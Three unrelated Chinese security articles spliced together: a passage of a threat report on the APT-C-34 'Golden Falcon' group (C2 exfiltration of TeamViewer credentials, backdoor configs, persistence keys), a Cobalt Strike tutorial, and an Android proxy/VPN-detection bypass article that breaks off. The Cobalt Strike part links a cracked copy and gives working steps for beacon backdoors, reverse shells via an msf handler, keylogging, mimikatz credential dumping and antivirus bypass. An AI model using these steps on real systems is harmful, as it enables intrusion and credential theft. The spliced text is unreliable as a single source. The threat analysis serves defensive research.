对受害者进行分析统计，绝大部分受害者都集中在哈萨克斯坦国境内，涉及各行各业，从相关数据中看，包括教育行业、政府机关人员、科研人员、媒体工作人员、部分商务工业、军方人员、宗教人员、政府异见人士和外交人员。
波及我国的主要人员绝大部分也集中在哈萨克斯坦国境内，包括留学生群体、驻哈萨克斯坦教育机构、驻哈萨克斯坦相关工程项目组，极少数的受害者分布在我国西北部地区，涉及政府工作人员。
在该组织的C&C服务器上，我们发现了大量的根据哈萨克斯坦城市命名的文件夹，包含了大部分哈萨克斯坦的主要城市。
文件夹名称 | 城市名
---|---
Aktay | 阿克套，位于哈萨克斯坦西部、里海东岸、曼格斯套州州政府，哈萨克第六大城市
Karaganda | 卡拉甘达，卡拉干达地区的首府。它是哈萨克斯坦人口第四大城市
Kokshetay | 科克舍陶，哈萨克斯坦北部阿克莫拉地区的行政中心
Oral | 乌拉尔，哈萨克斯坦西哈萨克斯坦州首府。位于该国西部乌拉尔河畔。
Oskemen | 厄斯克门，哈萨克斯坦东哈萨克斯坦州首府。位于乌尔巴河与额尔齐斯河汇合处。
Semey | 塞米伊，东哈萨克斯坦地区和西伯利亚哈萨克斯坦部分与俄罗斯接壤的城市。
атырау (Atyrau) | 阿特劳，阿特劳州首府，位于欧洲和亚洲的界河乌拉尔河流入里海的河口上。
жезказган (Jezkazgan) | 杰兹卡兹甘，哈萨克斯坦中部卡拉干达州的一个城市。
Кызылорда (Kyzylorda) | 克孜勒奥尔达，克孜勒奥尔达州首府，位于锡尔河畔。
Петропавл (Petropavl) | 彼得罗巴甫尔，北哈萨克斯坦州首府，位于伊希姆河畔。
Талдыкорган (Taldykorgan) | 塔尔迪库尔干，阿拉木图州首府。
Тараз (Taraz) | 塔拉兹，江布尔州首府。位于该国南部塔拉斯河畔，邻近吉尔吉斯斯坦。
Шымкент (Shymkent) | 奇姆肯特，直辖市，位于阿拉木图西690公里，是哈萨克斯坦共和国第三大城市。
在对应的城市命名的文件夹下，有相关的HackingTeam后门程序，其使用后门程序时针对不同城市的目标使用不同的配置。
该组织的后门程序会将收集的受害者信息加密后上传至C&C服务器，在服务器上每一个受害者的信息都会用一个文件夹进行标识。如下图所示：
## 典型受害者分析
通过对上传文件进行解密，我们发现了大量该组织从受害者计算机上窃取的文档和数据。
* 典型的中国受害者，某驻哈教育机构的中方人员。
* 典型的哈萨克特斯坦科研机构受害者，被窃取的文件涉及了哈萨克斯坦与俄罗斯联合开发项目。
* 典型的哈萨克斯坦国教育和科研机构工会受害者，被窃取的文档包含会议记录
## 主要攻击方式分析
我们发现黄金雕（APT-C-34）组织除了常规的社会工程学攻击手段，也喜欢使用物理接触的手段进行攻击，同时还采购了无线电硬件攻击设备。
### [](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-b27)社会工程学攻击方式
该组织制作了大量的伪装的文档和图片文件作为鱼叉攻击的诱饵，这些文件通过伪装图标诱导用户点击，这些文件实际上是EXE和SRC后缀的可执行文件，同时会释放弹出真正的文档和图片欺骗受害者。
诱饵文档的内容五花八门，有华为路由器的说明书、伪造的简历和三星手机说明书等。
其中部分诱饵程序安装包脚本会自动将程序添加到注册表项中，实现自启动驻留。
### [](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-3d2)物理接触攻击方式
黄金雕（APT-C-34）组织疑似喜欢使用U盘作为载体，通过物理接触目标的方式进行攻击，部分受害者曾经接入过包含恶意程序和安装脚本的U盘。如下图所示，其中以install开头的bat文件为恶意程序安装脚本。
同时也使用了HackingTeam的物理攻击套件，该套件需要通过恶意硬件物理接触目标机器，在系统引导启动前根据系统类型植入恶意程序，支持Win、Mac和Linux平台。
### [](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-79d)无线电监听攻击方式
该组织采购了一家俄罗斯公司“YURION”的硬件设备产品，该公司是一家俄罗斯的安全防务公司，专门出售无线电监听、窃听等设备，该组织有可能使用该公司的一些特殊硬件设备直接对目标的通讯等信号进行截取监听。
## 核心后门程序分析
本节将对黄金雕（APT-C-34）组织所使用的后门程序进行详细的分析，该组织的后门技术主要通过改造正规软件、自主研发和采购商业木马这三种方式进行。
### [](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-4c5)正规远程控制软件改造
针对该组织恶意软件的相关分析中，我们发现了该组织改造正规的远程协助软件进行攻击，通过劫持后者实现对受害者的控制。
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#teamviewerhijacker)**TeamViewer
Hijacker**
该组织通过DLL劫持改造的TeamViewer QuickSupport软件，当恶意DLL加载后会进行系统API
Hook，进而隐藏正常的程序窗口，并将ID和Password发送到C&C服务器。
正常的TeamViewer
QuickSupport由主程序、Teamviewer_Resource_fr.dll和tv.dll三个文件构成，该组织加入了一个后门dll程序将该软件改造成后门。后门替换了原有的tv.dll文件，将原有的功能库tv.dll重信命名为userinit.dll，同时伪造的tv.dll与原模块具有相同的导出表结构，再通过加载userinit.dll来支持原有逻辑。
伪造的tv.dll通过Inline Hook API ShowWindow 使正常TeamViewer窗口隐藏，并Hook SetWindowTextW
获取ID和Password。
上图为正常的TeamViewer QuickSupport程序窗口，伪装DLL通过Hook 系统API
ShowWindow，并修改显示参数为SW_HIDE进而实现主程序窗口隐藏。
通过Hook API SetWindowsTextW来获取TeamViewer的ID和Password
随后构造Get请求，将Id和Password上传到C&C：
hxxp://.ru//get.php?=1&n=31337&u=7&id=xx&pwd=xx&m=d4628443
另一方面，恶意程序会在目录下寻找名为msmm.exe和msmn.exe的文件，如果存在则通过WinExec执行，其主要功能为键盘记录和剪切板内容窃取。
查找名为 MSM?.DLL 的DLL文件，如果存在则会加载该DLL，执行Init导出函数，该DLL的功能也为键盘和剪切板记录。
值得注意的是，在伪装的DLL中，后部分代码使用了虚拟机进行保护,解析执行Bytecode。
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#rmshijacker)**RMS
Hijacker**
另一款改造后门通过劫持俄罗斯常用的远程控制软件RMS，实现对目标机器的控制。其功能与TeamViewer Hijacker相似。
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-7b8)**自主研发Harpoon
(Гарпун)后门**
Haroon是黄金雕（APT-C-34）组织自主研发的一款针对特定用户的后门程序，使用Delphi实现。
我们获取了该后门的说明手册（如下图），该后门具备强大的信息收集功能，包括屏幕定时截图、录音、剪切板记录、键盘记录、特定后缀名文件偷取等功能。
以下是上述字段的中文翻译：
主要功能：
STS Harpoon程序提供以下功能：
* 键盘记录；
* 剪切板记录；
* 以预定的时间间隔获取目标计算机桌面上活动窗口截图；
* 列出对象计算机硬盘上给定目录的内容；
* 获取Skype登录名、联系人列表和聊天消息；
* 获取Skype和Google Hangouts通话对象和语音记录；
* 从麦克风录制声音，窃听；
* 从目标计算机复制指定的文件；
* 从对象计算机的可移动介质中自动复制文档文件；
* 将所有截获和复制的信息打包到加密的dat文件中，然后将它们保存到指定的目录中；
* 将获取的信息发送到指定的FTP；
* 运行程序或操作系统命令；
* 从给定的FTP上下载文件并将它们释放到指定目录中；
* 远程重新配置和更新组件；
* 接收来自给定FTP的信息，自动将文件解压缩到指定目录；
* 自毁；
该后门收集的信息被加密上传到指定的FTP服务器上，相关收集信息在加密的配置文件中，解密后的内容格式如下：
– | –
---|---
BackupEnable=Yes | BInterval=10
Source=Folder | URL=[ftp://176.*.*.*/](ftp://176.%2A.%2A.%2A/)
User= | RunProc=javaws.exe
BPassword= | ScreenShotsEnable=Yes
Mode=2 | SInterval=60
SCInterval=5 | Width=800
Micro=Off | Height=600
Quality=1 | KeyLogsEnable=Yes
RunProc=jucheck.exe | ClipBoardLogsEnable=Yes
RDGSize=1048576 | UpgradeURL=[ftp://176.*.*.*/](ftp://176.%2A.%2A.%2A/)
RDGDays=180 | SPassword=
RDGExts=.xls .xlsx .doc .docx .jpg .bmp .pdf .ppt .pptx Log | FilesNumber=999
| LogFileSize=2
除上述信息收集功能外，其还具备Skype窃听功能，通过调用Skype的接口，实现Skype语音和聊天记录的窃听。
键盘记录模块，通过SetWindowsHookEx函数设置窗口钩子来实现键盘记录，并将截取的键盘信息发送到主程序创建的窗口。
###
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-1de)采购HackingTeam商业后门
该组织购买了HackingTeam的远程控制软件Remote Control
System（RCS），并有完整的控制端软件，其版本号均为10以上，而HackingTeam在2015年泄露的RCS版本号为9.6。我们发现了该组织使用的HackingTeam相关文件，包括Windows和Android
相应的客户端，以及rcs的控制端。
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-772)**Windows类型**
Rcs的Windows客户端是外界公布的HackingTeam
“Soldier”程序，其使用了VMP进行保护，并且使用了证书进行签名。功能上与老版本的HackingTeam 程序相似。
Windows端的C&C信息格式如下：
IP | Country | ASN
---|---|---
*..* | Germany | 47447\23media_GmbH
与老版本的Hacking Team的程序相类似，其写入注册表项进行自启动，注册表位置为：
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder
项名称为NVIDIAControlPanel
值得注意的是我们还发现了RCS木马离线安装包，将该安装包写入U盘等可引导介质中，当攻击者物理接触到受害者电脑后，能够在系统启动阶段，神不知鬼不觉的将木马植入系统。
该离线安装包不仅支持Windows操作系统，而且还支持Mac OS和Linux系统。
该安装包的版本为10.3.0，远高于2015年泄漏的版本，该安装包能够自动识别操作系统的版本，机器名，用户名等信息，使用界面极为简便。
在安装完成后，Hacking Team木马被安装到配置文件中指定的位置了。重启系统后，木马便开始运行。 下图为Hacking Team离线安装配置文件：
木马在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加开机启动项，启动
%userprofile%\appdata\local\microsoft\文件夹下的InterMgr
0.17.stcz文件。木马在运行后会向其他进程注入线程，以此来达到对抗分析的目的，下图为使用分析工具和Regedit查看启动项的对比。
如果只看0字节的InterMgr 0.17.stcz的文件可能会误导后门无法启动。
但实际结合注册表分析可以得知，木马是劫持了后缀为stcz文件的关联打开方式，
HKEY_CLASSES_ROOT.sctz指向了stcz_auto_file。
而从HKEY_CLASSES_ROOT\stcz_auto_file\shell\open\command的值可以知道，InterMgr
0.17.stcz在开机时被打开后会调用rundll32，运行%userprofile%\AppData\Local\Microsoft\yFEO3-9g\目录下的木马dCh8RnL1.Odo。
该处注册表值如下： %systemroot%\system32\rundll32.exe”
%windir%..\Users\ADMINI~1\AppData\Local\MICROS~1\yFEO39g\dCh8RnL1.ODo”,fe566ba28K
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-bc5)**Android类型**
HackingTeam Android 恶意程序中总共使用了17个模块，下面列出各个模块的功能
模块名 | 功能
---|---
ModuleApplication | 记录受感染设备上启动和停止的所有进程名称和信息。
ModuleCalendar | 记录受感染设备日历中找到的所有信息。
ModuleCall | 捕获被感染目标设备拨打和接收的所有呼叫的音频和信息。
ModuleCamera | 使用受感染设备前后摄像头拍摄照片。
ModuleChat | 获取受感染设备上流行IM应用的聊天记录（包括Facebook Messenger, WhatsApp, Skype, Viber,
Line, WeChat, Telegram, BlackBerry Messenger）。
ModuleClipboard | 获取受感染目标设备剪贴板的内容。
ModuleCrisis | 识别受感染目标设备上的危险情况，可以暂时禁用一些恶意操作。
ModuleDevice | 记录受感染设备的系统信息
ModuleMessage | 记录受感染设备接收和发送的所有邮件、短信和彩信。
ModuleMic | 记录受感染设备麦克风周围声音。
ModuleMicL | 实时收听受感染设备正在进行的对话。
ModulePassword | 记录保存在受感染设备应用程序中的所有密码（例如浏览器、WIFI密码、即时通讯工具和网络邮件服务）。
ModulePhoto | 获取受感染设备中外部存储中所有图像类型文件数据。
ModulePosition | 记录受感染设备的地理位置。
ModuleSnapshot | 捕获受感染设备屏幕图像。
ModuleUrl | 记录受感染设备浏览器访问的URL。
AgentAddressbook | 记录受感染设备通讯录中所有信息。
使用Framaroot工具进行提权操作，exploit文件被加密存储在assets/lb.data。
Android端的C&C信息如下：
IP | Country | ASN
---|---|---
185….* | Germany | 47447\23media_GmbH
185\. …* | United States | 14576\Hosting_Solution_Ltd.
185\. …* | Netherlands | 14576\Hosting_Solution_Ltd.
94….* | Sweden | 52173\Sia_Nano_IT
其中C&C地址 185. ..* 与Windows端共用。
## 关联和归属分析
黄金雕（APT-C-34）组织的基础设施和绝大部分的受害者均集中在哈萨克斯坦国境内，根据受害者的数据推测，该组织的大部分攻击行动主要是针对哈萨克斯坦国境内的情报收集任务，其中也波及到了我国驻哈萨克斯坦境内的机构和人员，支持该组织背后的实体机构疑似与哈萨克斯坦国政府机构存在关联。
### [](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-71c)与毒针行动的关联
黄金雕（APT-C-34）组织和“毒针”行动背后的APT组织同属于俄语系的APT组织，目前我们没有发现特别的关联，它们可能分别属于不同的APT组织，它们疑似都在同一时期采购了相同版本的HackingTeam网络武器。
公开情报显示， HackingTeam 的windows类型后门的10.3.0版本会伪装为 NVIDIA Control Panel Application
和 MS One
Drive程序进行攻击，“毒针”行动使用的HackingTeam后门正是10.3.0版本。而黄金雕（APT-C-34）组织拥有的HackingTeam程序也是同一批次的10.3.0版本。
###
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-096)哈萨克斯坦与HackingTeam
2015年，HackingTeam被攻击泄露数据后，哈萨克斯坦的国家情报机关被证实采购了HackingTeam的软件，曾与HackingTeam官方来往邮件寻求网络武器的技术支持。
从邮件内容看，其中涉及了后门程序因被360杀毒软件查杀而导致目标不上线的案例，疑似是针对中国的攻击：
###
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-316)APT-C-34组织与网络军火商
黄金雕（APT-C-34）组织不仅采购了HackingTeam的网络武器，同时也是著名的移动手机网络军火商 NSO
Group的客户。在黄金雕（APT-C-34）的基础设施中，我们还发现了NSO最出名的网络武器pegasus的培训文档，其中还包括与NSO相关的合同信息，采购时间疑似在2018年。依靠pegasus网络武器，黄金雕（APT-C-34）组织应该具备针对Iphone、Android等移动设备使用0day漏洞的高级入侵能力。
###
[](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-2f4)APT-C-34组织的技术文档
我们获取到了该组织核心后门程序Harpoon的技术说明文档，该工具被命名为Гарпун（Harpoon），中文实际含义是鱼叉，后门的版本号为5.0。该文档的内容大量引用标注了哈萨克斯坦城市名和哈萨克斯坦政府机构名，疑似该后门程序是由哈萨克斯坦的政府机构支持开发。
### [](http://blogs.360.cn/post/APT-C-34_Golden_Falcon#toc-016)关联人物信息
黄金雕（APT-C-34）组织的部分的恶意程序签注了合法的数字签名，我们捕获到的签名如下：
姓名 | 邮箱 | 证书 MD5 | 目前是否有效
---|---|---|---
Evn Bi*kyy | [Ev**n.bi***[email protected]](mailto:Ev**n.bi***[email protected]) |
bca12d6**45d7bac4* | 否
Ir Kan | [**an_i**[email protected]](mailto:**an_i**[email protected]) | 5ab70b9**4627f11d* |
否
Yuin Og Vlad**ich | [O**[email protected]](mailto:O**[email protected]) | 6fc0776e**ce7463*
| 是
Ir Kan | [X**n_i**[email protected]](mailto:X**n_i**[email protected]) | ce5b576**d65290* | 否
A***a Ltd | | a95af43**c6bbce* | 否
通过邮箱信息我们关联到了俄语系人物的linkedin身份信息，该人物疑似为黄金雕（APT-C-34）组织的技术工程师。
## 总结
至此，360高级威胁应对团队通过关联Hacking
Team武器，发现了一支活跃在中亚地区，从未被外界知晓的APT组织黄金雕（APT-C-34）。其间感谢兄弟团队360烽火实验室协助分析了移动部分网络武器。通过我们的报告可以发现，黄金雕（APT-C-34）组织背后的实体机构投入了大量的人力、物力和财力支持其运作，不光自己研发还采购了大量的网络军火武器，种种迹象表明这都不是个人或一般组织能够做到的，这是一支具有高度组织化、专业化的网军力量。同时通过我们的披露，大家可以注意到网络武器军火商脚步也从未停歇，网络军火的交易仍然如火如荼，网络武器日益受到各国的重视，全球各国都会面临巨大的安全威胁。 | 社区文章 |
## **0x00 Cobalt Strike简介**
Cobalt Strike 一款以metasploit为基础的GUI的框架式渗透测试工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win
exe木马生成，win
dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。而Cobalt
Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用，当然可以结合Armitage进行使用。
## **0x01 Cobalt Strike搭建和使用**
### **1.下载Cobalt Strike3.6破解版本**
<https://pan.baidu.com/s/1pL8kMqn （解压密码：cjfx）>
### **2.在团体服务器上执行命令，以运行服务器端：**
./teamserver 10.0.0.88 backlion //服务器IP地址为10.0.0.88，密码为backlion
图一
### **3.在客服端上执行（可多人连接）：**
windows上：
java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar $
linux上：
./cobaltstrike
图二
主机名：10.0.0.88 端口：50050 用户名：任意 密码：backlion
### **4.创建本地监听listen:**
Cobalt Strike->Listeners ，然后点击Add便可以创建自己想要的Listeners了，Cobalt Strike3.6包括
图三
· windows/beacon_dns/reverse_dns_txt
· windows/beacon_dns/reverse_http
· windows/beacon_http/reverse_http
· windows/beacon_https/reverse_https
· windows/beacon_smb/bind_pipe
· windows/foreign/reverse_dns_txt
· windows/foreign/reverse_http
· windows/foreign/reverse_https
· windows/foreign/reverse_tcp
其中 **windows/beacon*** 是Cobalt Strike自带的模块，包括dns,http,https,smb四种方式的监听器，
**windows/foreign*** 为外部监听器，即msf或者Armitage的监听器。
选择监听器以后，host会自动填写我们开启服务时的ip，配置监听端口，然后保存，监听器就创建好
### **5.攻击模块介绍**
创建好监听器，下面就需要配置客户端了，Cobalt Strike包括多种攻击方式，其中Packages包括如下几种：
图四
**HTML Application** 生成恶意的HTA木马文件；
**MS Office Macro** 生成office宏病毒文件；
**Payload Generator** 生成各种语言版本的payload;
**USB/CD AutoPlay** 生成利用自动播放运行的木马文件；
**Windows Dropper** 捆绑器，能够对文档类进行捆绑；
**Windows Executable** 生成可执行exe木马；
**Windows Executable(S)** 生成无状态的可执行exe木马。
Web Drive-by（钓鱼攻击）包括如下几个模块：
图五
**Manage** 对开启的web服务进行管理；
**Clone Site** 克隆网站，可以记录受害者提交的数据；
**Host File** 提供一个文件下载，可以修改Mime信息；
**PowerShell Web Delivery** 类似于msf 的web_delivery ;
**Signed Applet Attack** 使用java自签名的程序进行钓鱼攻击;
**Smart Applet Attack** 自动检测java版本并进行攻击，针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本；
**System Profiler** 用来获取一些系统信息，比如系统版本，Flash版本，浏览器版本等。
Spear Phish 是用来邮件钓鱼的模块。
### **6.view显示模块介绍**
View模块可以方便测试者查看各个模块，图形化的界面可以方便的看到受害者机器的各个信息。
图六
**Applications** 显示受害者机器的应用信息；
**Credentials** 显示受害者机器的凭证信息，能更方便的进行后续渗透；
**Downloads** 文件下载；
**Event Log** 可以看到事件日志，清楚的看到系统的事件,并且团队可以在这里聊天;
**Keystrokes** 查看键盘记录；
**Proxy Pivots** 查看代理信息；
**Screenshots** 查看屏幕截图；
**Script Console** 在这里可以加载各种脚本以增强功能，脚本地址
[**戳我**](https://github.com/rsmudge/cortana-scripts) ;
**Targets** 查看目标；
**Web Log** 查看web日志。
### **7.reporting生成报告模块介绍**
图七
activity report 活动报告生成
Hosts report 主机报告
Indicators opromisef com 目标报告
Sessions report 会话报告
Social engineering report 社会工程学报告
Export data 数据出口
### **8.Beacon模块使用**
#### **8.1 生成一个exe的后门程序**
attacks——packages--windows executable，可生成一个windows的exe后门，如下图所示：
图八
#### **8.2将生成的后门artifact.exe上传到受害者主机上执行**
**在Cobalt Strike中就会反弹出目标受害者主机的shell,然后点击受害者的机中的interact**
#### **8.3点击受害者反弹的主机中的interact，然后就可以进入到beacon中**
图九
#### 8.4 beacon模块之shell命令**
图十
beacon> help shell
beacon>shell ifconfig
beacon>shell whoami
beacon>shell net user
#### **8.5 beacon模块之browserpivot命令**
用户注入受害者浏览器进程，然后开启HTTP代理，之后就可以登录受害者登录的网站了
beacon>ps //查看浏览器进程，这里进程为2396
图十一
beacon>browserpivot 2396 //注入进程，并开启http代理，代理服务器为： 10.0.0.88:62243
图十二
本地浏览器设置http代理，host: 10.0.0.88 代理类型为：http 端口为：62243
beacon>browserpivot stop //停止代理
图十三
#### **8.6 beacon模块之 Socks命令**
选择受害者主机，然后右键Pivoting->SOCKS Server，则使用此台计算机开启socks代理
图十四
图十五
图十六
在kali下 配置proxychains的配置文件：
vim /etc/proxychains.conf'
将socks4 127.0.0.1 9050 改为： socks4 127.0.0.1 26370
proxychains firefox ESR //可通过sokcsk5代理访问肉鸡内网
beacon>socks stop //关闭scoks代理
#### **8.7 beacon模块之Screenshot &Keylogger**
beacon>screenshot //运行屏幕截屏命令
然后打开View->Screenshots，则可以看到屏幕截图
图十七
beacon>ps //查看系统进程，随便选择一个程序的进程PID
beacon> keylogger 2640 //键盘记录注入进程
打开View->Keystrokes，则可以看到键盘记录结果
图十八
#### **8.8 beacon模块之powershell-import命令（渗透win2008以及以上）**
beacon> powershell-import //导入各种powershell脚本，这里可以导入nishang模块
beacon>powershell posershell脚本名
或者
beacon> powershell Check-VM
#### **8.9 Cobalt Strike与msf的联动**
1.在MSF下执行以下命令：
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
2.在Cobalt Strik中执行，先添加一个监听命令，名称为:msf payload选择：windows/foreign/reverse_tcp
监听端口：4444
图十九
3.选择受害者主机，然后右击Spawn
图二十
4.在msf下即可反弹出meterpreter会话：
图二十一
#### **8.10 beacon模块之密码读取***
**beacon > sleep 0** //快速显示结果
**beacon > wdigest** //读取信息
**beacon >hashdump** //读取账号hash密码值，需要administer权限，右击受害者主机--access-hashdump
**beacon > logonpasswords** //运行mimikatz, 右击受害者主机--access- RUN mimikatz
### **9.过杀软bybass测试**
1.生成一个dll劫持的后门，可反弹shell过杀软。
图二十二
图二十三
attackes---windows executable(s)--http Beacon--windows dll(64)，生成一个dll文件
2.在受害者主机上执行：regsvr32 beacon.dll
3.也可以生成一个powershell的ps文件，也可以bybass 杀软
图二十四
图二十五
这里也可以生成一个powershell的ps文件，也可以bybass 360杀软
attackes---windows executable(s)--http Beacon--posershell
4.在受害者主机上执行：posershell beacon.ps1
## **0x03 Cobalt Strike小结**
**Cobalt Strike功能异常强大，并且是MSF的图形化界面，操作更直观，能更加方便的进行自动化攻击，对渗透测试中的你有所帮助** | 社区文章 |
## 1.前言
本文将从网络通信原理浅析在android中出现的一些代理转发检测，这些功能会使我们测试app时出现 **抓不到包** 或者 **应用闪退**
等情况，针对这种场景，我搭建了测试环境，并对其场景展开分析与实施应对方案。
## 2.OSI 7层网络模型
网络通信嘛，首先得知道什么是OSI 7层模型。下面是百度的解释：
>
> 为了使不同计算机厂家生产的计算机能够相互通信，以便在更大的范围内建立计算机网络，国际标准化组织（ISO）在1978年提出了“开放系统互联参考模型”，即著名的OSI/RM模型（Open
> System Interconnection/Reference Model）。
>
> 它将计算机网络体系结构的通信协议划分为七层，自下而上依次为：
>
> [物理层](https://baike.baidu.com/item/物理层)（Physics
> Layer）、[数据链路层](https://baike.baidu.com/item/数据链路层)（Data Link
> Layer）、[网络层](https://baike.baidu.com/item/网络层/4329439)（Network
> Layer）、[传输层](https://baike.baidu.com/item/传输层)（Transport
> Layer）、[会话层](https://baike.baidu.com/item/会话层)（Session
> Layer）、[表示层](https://baike.baidu.com/item/表示层)（Presentation
> Layer）、[应用层](https://baike.baidu.com/item/应用层/16412033)（Application Layer）
使用网络数据的传输离不开网络协议七层模型，通过理解每一层协议的分工，也就能对网络故障逐一排查，这样的思维逻辑在安卓应用中也同样适用。
**OSI 7层模型** 各层功能及对应的协议、设备如下表所示：
OSI对应的层 | 功能 | TCP/IP对应的协议 | 设备
---|---|---|---
应用层 | 文件传输，电子邮件，文件服务，虚拟终端 | TFTP，HTTP，SNMP，FTP，SMTP，DNS，Telnet | /
表示层 | 数据格式化，代码转换，数据加密 | / | /
会话层 | 解除或建立与别的接点的联系 | / | /
传输层 | 提供端对端的接口 | TCP，UDP | 四层交换机和四层路由
网络层 | 为数据包选择路由 | IP，ICMP，RIP，OSPF，BGP，IGMP | 三层交换机和路由
数据链路层 | 传输有地址的帧以及错误检测功能 | ARP，RARP，MTU，SLIP，CSLIP，PPP | 网桥、交换机、网卡
物理层 | 以二进制数据形式在物理媒体上传输数据 | ISO2110，IEEE802，IEEE802.2 | 中继器、集线器、双绞线
知识点：HTTPS协议是`HTTP+SSL`
根据上表可知，SSL做数据加密是在表示层，也就是说，HTTPS实际上是建立在SSL之上的HTTP协议，而普通的HTTP协议是建立在TCP协议之上的。所以，当HTTPS访问URL时，由于URL在网络传送过程中最后是处于HTTP协议数据报头中，而HTTP协议位于SSL的上层，所以凡是HTTP协议所负责传输的数据就全部被加密了；但是IP地址并没加密，因为处理IP地址的协议（网络层）位于处理SSL协议（表示层）的下方。
额，说了这么多，就是要告诉你一个重要的关键点：数据的封装是`自下而上`的
！在网络数据处理方面，如果是上层做了检测处理，则需要在同层或下层进行逻辑绕过，这就是攻与防的关键了，偷家（底层）才是硬道理。
接下来，我们再理解一下代理与VPN。
## 3.代理与VPN
### 3.1、代理
**代理（proxy）** 也称网络代理，是一种特殊的网络服务，允许一个终端（一般为客户端）通过这个服务与另外一个终端（一般为服务器）进行非直接的连接。
一个`完整的代理请求过程`为：客户端首先根据代理服务器所使用的 **代理协议** ，与 **代理服务器**
创建连接，接着按照协议请求对目标服务器创建连接、或者获得目标服务器的指定资源。
### 3.2、VPN
**VPN** （virtual private network）（ **虚拟专用网络** ）是常用于连接中、大型企业或团体间私人网络的通讯方法。它利用
**隧道协议（Tunneling Protocol）** 来达到发送端认证、消息保密与准确性等功能。
### 3.3、代理和VPN的区别
从各自的定义，我们就能看出VPN的特点是采取 **隧道协议** 进行数据传输和保护；而代理使用的则是对应的 **代理协议** 。
下面是VPN和代理的常用协议：
| 协议名称
---|---
VPN | OpvenVPN、IPsec、IKEv2、PPTP、L2TP、WireGuard等
代理 | HTTP、HTTPS、SOCKS、FTP、RTSP等
VPN 协议大多是作用在 OSI 的第二层和第三层之间，所以使用 VPN 时，几乎能转发所有的流量。
而代理协议多作用在应用层，最高层。
## 4.安卓代理检测
知道了代理与VPN的作用后，在APP中，如果开发人员在代码中添加了一些网络层的检测机制，而这些机制恰恰又是针对工作层协议进行的检测，那么只要分析出工作在IOS的哪一层，抢先一步在下层做出应对，那APP在上层无论怎么检测，都没有用。下面将对测试场景进行详细分析。
抓包的步骤：
1.在客户端（手机）中设置代理服务器的地址
2.开启代理服务器（burp）的代理功能
如果在客户端对代理服务进行过滤，禁止客户端通过代理服务器进行访问Internet，添加如下代码：
connection = (HttpURLConnection) url.openConnection(Proxy.NO_PROXY);
官方对于 **Proxy.NO_PROXY** 的描述如下：
/**
* A proxy setting that represents a {@code DIRECT} connection,
* basically telling the protocol handler not to use any proxying.
* Used, for instance, to create sockets bypassing any other global
* proxy settings (like SOCKS):
* <P>
* {@code Socket s = new Socket(Proxy.NO_PROXY);}
*
*/public final static Proxy NO_PROXY = new Proxy();
// Creates the proxy that represents a {@code DIRECT} connection.private Proxy() {
type = Type.DIRECT;
sa = null;
}
**NO_PROXY** 实际上就是type属性为 **DIRECT** 的一个Proxy对象，这个type有三种：
* DIRECT
* HTTP
* SOCKS
所以，Proxy.NO_PROXY的意思是connection的请求是 **直连** 。
此时若通过系统进行代理，app对外请求会失效，也就是视觉上看到的卡死状态，就是不让走系统代理。
安卓手机上设置 **系统代理** 即是在【设置】-【WLAN】-【修改网络】手动设置代理。
**针对不走系统代理的情况有如下两种应对：**
1、使用基于`VPN`模式的`Postern`
2、使用基于`iptables`的`ProxyDroid`
对此，我做出了如下一些测试：
### 4.1、使用系统代理
APP关键代码如下：
private void sendRequestWithHttpURLConnection(){
new Thread(new Runnable() {
@Override
public void run() {
HttpURLConnection connection = null;
BufferedReader reader = null;
try{
URL url = new URL("http://www.baidu.com");
connection = (HttpURLConnection) url.openConnection(Proxy.NO_PROXY);
connection.setRequestMethod("GET");
InputStream in = connection.getInputStream();
reader = new BufferedReader(new InputStreamReader(in));
StringBuilder response = new StringBuilder();
String line;
while ((line = reader.readLine()) != null){
response.append(line);
}
showResponse(response.toString());
} catch (Exception e){
e.printStackTrace();
} finally {
if (reader != null) {
try {
reader.close();
} catch (IOException e){
e.printStackTrace();
}
}
if (connection != null){
connection.disconnect();
}
}
}
}).start();
}
针对 **Proxy.NO_PROXY** ，先测试一下，系统代理是否真的不能抓包。
如下图先设置系统代理，burp监听8888，此时打开APP，点击发送请求无任何反应，burp中也抓不到包，说明系统代理被禁了。
### 4.2、使用Postern代理
用过这款软件的都知道，当开启代理服务后状态栏会有个`钥匙`的标志，这可能也是基于VPN模式工作的特征
同样的APP，点击请求，此时成功绕过了Proxy.NO_PROXY检测！也说明了VPN协议在HTTP协议的下层。
## 5.安卓VPN检测
VPN也是代理的一种，但是由于通讯协议的差异，所以检测代码也不一样。
当客户端运行`VPN虚拟隧道协议`时，会在当前节点`创建`基于eth之上的`tun0`接口或`ppp0`接口，所以一旦出现带有明显特征的网络接口名称，就可以认定是使用了VPN协议进行通信。
下面这段代码的检测方式：出现特征 **tun0** 或者 **ppp0** 则退出应用，也就是我们看到的闪退效果。
private void isDeviceInVPN() {
try {
Enumeration<NetworkInterface> networkInterfaces = NetworkInterface.getNetworkInterfaces();
while (networkInterfaces.hasMoreElements()) {
String name = networkInterfaces.nextElement().getName();
if (name.equals("tun0") || name.equals("ppp0")) {
stop();
}
}
} catch (SocketException e) {
e.printStackTrace();
}
}
